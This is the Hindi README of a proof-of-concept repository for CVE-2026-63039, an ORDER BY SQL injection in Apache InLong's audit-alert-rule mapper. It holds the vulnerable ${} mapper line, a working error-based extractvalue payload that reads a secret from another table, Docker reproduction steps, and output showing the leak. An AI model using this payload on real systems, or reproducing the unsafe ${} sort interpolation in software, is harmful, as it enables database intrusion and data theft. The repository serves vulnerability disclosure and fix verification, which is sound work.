
CVE-2026-63039 के लिए प्रमाण-अवधारणा, जो Apache InLong के AuditAlertRule में orderField/orderType के माध्यम से ORDER BY SQL इंजेक्शन प्रदर्शित करता है, साथ ही Docker-आधारित पुनरुत्पादक और फिक्स सत्यापन के साथ।
AuditAlertRule ORDER BY SQL इंजेक्शनApache InLong की audit-alert-rule क्वेरी में SQL इंजेक्शन के लिए चलाने योग्य proof-of-concept reproducer।
InLong manager mapper AuditAlertRuleEntityMapper.selectByCondition सुरक्षित MyBatis #{} पैरामीटरों के साथ फ़िल्टर करता है, लेकिन दो अनुरोध फ़ील्डों के ${} स्ट्रिंग इंटरपोलेशन के साथ सॉर्ट करता है:
<!-- inlong-manager/manager-dao/src/main/resources/mappers/AuditAlertRuleEntityMapper.xml (InLong 2.0.0–2.3.x) -->
order by ${request.orderField} ${request.orderType}
orderField और orderType पेज्ड अनुरोध (AuditAlertRulePageRequest) से आते हैं, इसलिए वे हमलावर-नियंत्रित होते हैं और SQL में शब्दशः जोड़ दिए जाते हैं — ORDER BY SQL इंजेक्शन (CWE-89)। यह PoC orderField में MySQL error-आधारित पेलोड इंजेक्ट करता है और एक से एक गुप्त (secret) मान पढ़ता है, जो मनमाना डेटा प्रकटीकरण प्रदर्शित करता है।
mvn -q -DskipTests package
docker compose up --build # starts MySQL, seeds it, runs the one-shot PoC
docker compose down -v
कमजोर कोड पथ पर अपेक्षित आउटपुट:
[1] Benign request (orderField='id', orderType='ASC'): 3 rows
AuditAlertRule{id=1, inlongGroupId=group_a, alertName=latency rule}
...
[2] Malicious request (orderField = error-based payload):
orderField = extractvalue(1,concat(0x7e,(select secret_value from manager_secrets limit 1)))
extracted from another table via the injected subquery: INLONG-SECRET-63039
>>> PROVEN: ... ORDER BY SQL injection (CWE-89): true
| गुण | मान |
|---|---|
| परियोजना | Apache InLong — manager (AuditAlertRuleService / AuditAlertRuleEntityMapper) |
| श्रेणी | CWE-89 SQL कमांड में प्रयुक्त विशेष तत्वों का अनुचित न्यूट्रलाइज़ेशन ('SQL इंजेक्शन') |
| हमला वेक्टर | audit-alert-rule पेज अनुरोध के orderField / orderType फ़ील्ड |
| प्रभाव | InLong manager डेटाबेस के विरुद्ध मनमाना SQL निष्पादन / डेटा प्रकटीकरण |
| प्रभावित संस्करण | 2.0.0 से 2.4.0 से पहले तक |
| स्थिर संस्करण | 2.4.0 |
| परामर्श | CVE-2026-63039 |
| श्रेय | Andrea Cosentino |
Apache InLong 2.4.0 orderField / orderType को मैपर तक पहुँचने से पहले ज्ञात सॉर्ट करने योग्य कॉलमों और दिशाओं की अनुमत सूची (allowlist) के विरुद्ध मान्य करता है (एक ORDER BY कॉलम नाम को #{} पैरामीटर के रूप में बाँधा नहीं जा सकता, इसलिए सॉर्ट इनपुट को पैरामीटराइज़ करने के बजाय मान्य किया जाना चाहिए)।
इस रिपॉज़िटरी में MyBatis mapper, entity और request pojo InLong की मूल फ़ाइलों को प्रतिबिंबित करते हैं, ताकि इंजेक्शन सिंक (order by ${request.orderField} ${request.orderType}) शब्दशः पुनरुत्पादित हो।
यह रिपॉज़िटरी शैक्षिक और सुरक्षात्मक उद्देश्यों के लिए प्रकाशित की गई है: Apache InLong उपयोगकर्ताओं को भेद्यता समझने, यह सत्यापित करने में मदद करने के लिए कि वे प्रभावित हैं या नहीं, और यह पुष्टि करने के लिए कि अपग्रेड करने से इसका समाधान हो जाता है। पेलोड केवल एक स्थानीय तालिका से एक डेमो गुप्त मान पढ़ता है। इस सामग्री का उपयोग उन प्रणालियों के विरुद्ध न करें जिनके स्वामी या संचालक आप नहीं हैं।